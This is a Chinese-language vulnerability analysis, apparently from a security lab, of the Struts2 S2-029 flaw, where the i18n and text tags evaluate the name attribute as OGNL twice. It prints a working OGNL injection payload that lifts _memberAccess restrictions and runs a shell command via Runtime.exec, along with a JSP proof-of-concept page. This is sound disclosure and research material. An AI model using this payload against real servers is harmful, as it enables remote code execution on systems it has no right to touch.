s2-029 Struts2 标签远程代码执行分析

1. 标签介绍

Struts2标签库提供了主题、模板支持，极大地简化了视图页面的编写，而且，struts2的主题、模板都提供了很好的扩展性。实现了更好的代码复用。Struts2允许在页面中使用自定义组件，这完全能满足项目中页面显示复杂，多变的需求。

Struts2的标签库有一个巨大的改进之处，struts2标签库的标签不依赖于任何表现层技术，也就是说strtus2提供了大部分标签，可以在各种表现技术中使用。包括最常用的jsp页面，也可以说Velocity和FreeMarker等模板技术中的使用。

1. 漏洞分析

s2-029没有漏洞细节，但通过分析源码已重现漏洞。多个标签存在问题，在i18n,text等标签（可能还存在其他标签）的name属性处理的时候会经过两次ognl执行，从而导致远程代码执行。

标签使用如下所示：  
<s:i18n name="%{#request.lan}">xxxxx</s:i18n>  
<s:text name="%{#request.lan}">xxxxx</s:text>  
上面两个标签name属性都存在问题 下面对i18n标签做分析

跟踪i18n标签name属性在代码中的处理:  
org.apache.struts2.components.I18n  
……  
public boolean start(Writer writer) {  
boolean result = super.start(writer);  
try  
{  
**String name = findString(this.name, “name”, “Resource bundle name is required. Example: foo or foo\_en”);//对i18n的name属性进行ognl执行并将结果赋值给name**  
**ResourceBundle bundle = (ResourceBundle)findValue(“getTexts(‘” + name + “‘)”);//对上面获取的name属性继续做ognl表达式执行**  
……  
}  
}

其中对**findString方法进行跟踪，则可以跟踪到**  
com.opensymphony.xwork2.ognl.OgnlValueStack的protected Object findValue(String expr, String field, String errorMsg)方法，该方法是用来执行ognl表达式。  
其中**findValue方法进行跟踪，则可以跟踪到**  
com.opensymphony.xwork2.ognl.OgnlValueStack的public Object findValue(String expr, boolean throwExceptionOnFailure)方法，该方法也是用来执行ognl表达式。

测试流程:

假设设置request的lan属性为:

‘),request,#\_memberAccess[‘allowPrivateAccess’]=true,#\_memberAccess[‘allowProtectedAccess’]=true,#\_memberAccess[‘allowPackageProtectedAccess’]=true,#\_memberAccess[‘allowStaticMethodAccess’]=true,#\_memberAccess[‘excludedPackageNamePatterns’]=#\_memberAccess[‘acceptProperties’],#\_memberAccess[‘excludedClasses’]=#\_memberAccess[‘acceptProperties’],#a=@java.lang.Runtime@getRuntime(),#a.exec(‘touch /tmp/dbapptest’),new java.lang.String(‘

其中运行的ognl表达式为%{request.lan},则第一次ognl表达式执行结果为:

‘),request,#\_memberAccess[‘allowPrivateAccess’]=true,#\_memberAccess[‘allowProtectedAccess’]=true,#\_memberAccess[‘allowPackageProtectedAccess’]=true,#\_memberAccess[‘allowStaticMethodAccess’]=true,#\_memberAccess[‘excludedPackageNamePatterns’]=#\_memberAccess[‘acceptProperties’],#\_memberAccess[‘excludedClasses’]=#\_memberAccess[‘acceptProperties’],#a=@java.lang.Runtime@getRuntime(),#a.exec(‘touch /tmp/dbapptest’),new java.lang.String(‘

执行完成之后name的值为:

‘),request,#\_memberAccess[‘allowPrivateAccess’]=true,#\_memberAccess[‘allowProtectedAccess’]=true,#\_memberAccess[‘allowPackageProtectedAccess’]=true,#\_memberAccess[‘allowStaticMethodAccess’]=true,#\_memberAccess[‘excludedPackageNamePatterns’]=#\_memberAccess[‘acceptProperties’],#\_memberAccess[‘excludedClasses’]=#\_memberAccess[‘acceptProperties’],#a=@java.lang.Runtime@getRuntime(),#a.exec(‘touch /tmp/dbapptest’),new java.lang.String(‘

然后将name值传入下面一行代码执行ognl,其中ognl表达式变为getText(”),request,#\_memberAccess[‘allowPrivateAccess’]=true,#\_memberAccess[‘allowProtectedAccess’]=true,#\_memberAccess[‘allowPackageProtectedAccess’]=true,#\_memberAccess[‘allowStaticMethodAccess’]=true,#\_memberAccess[‘excludedPackageNamePatterns’]=#\_memberAccess[‘acceptProperties’],#\_memberAccess[‘excludedClasses’]=#\_memberAccess[‘acceptProperties’],#a=@java.lang.Runtime@getRuntime(),#a.exec(‘touch /tmp/dbapptest’),new java.lang.String(”)

从而导致命令执行在/tmp目录下生成dbapptest文件

[](http://seclab.dbappsecurity.com.cn/wp-content/uploads/2016/03/E21A0818-ECA0-470D-B5AF-26F572042821.jpg)

其中poc中需要设置#\_memberAccess[‘allowPrivateAccess’]=true用来授权访问private方法，#\_memberAccess[‘allowStaticMethodAccess’]=true用来授权允许调用静态方法，  
#\_memberAccess[‘excludedPackageNamePatterns’]=#\_memberAccess[‘acceptProperties’]用来将受限的包名设置为空  
#\_memberAccess[‘excludedClasses’]=#\_memberAccess[‘acceptProperties’]用来将受限的类名设置为空  
#a=@java.lang.Runtime@getRuntime(),#a.exec(‘touch /tmp/dbapptest’),new java.lang.String(”)执行系统命令

1. 漏洞poc

<%@page import="java.util.HashSet"%>  
<%@ page contentType=”text/html;charset=UTF-8″ language=”java” %>  
<%@ taglib prefix=”s” uri=”/struts-tags” %>  
<html>  
<head><title>Demo jsp page</title></head>  
<body>  
<%  
request.setAttribute(“lan”, “‘),#\_memberAccess[‘allowPrivateAccess’]=true,#\_memberAccess[‘allowProtectedAccess’]=true,#\_memberAccess[‘allowPackageProtectedAccess’]=true,#\_memberAccess[‘allowStaticMethodAccess’]=true,#\_memberAccess[‘excludedPackageNamePatterns’]=#\_memberAccess[‘acceptProperties’],#\_memberAccess[‘excludedClasses’]=#\_memberAccess[‘acceptProperties’],#a=@java.lang.Runtime@getRuntime(),#a.exec(‘touch /tmp/fuckxxx’),new java.lang.String(‘”);  
%>  
<s:i18n name=”%{#request.lan}”>xxxxx</s:i18n>  
</body>  
</html>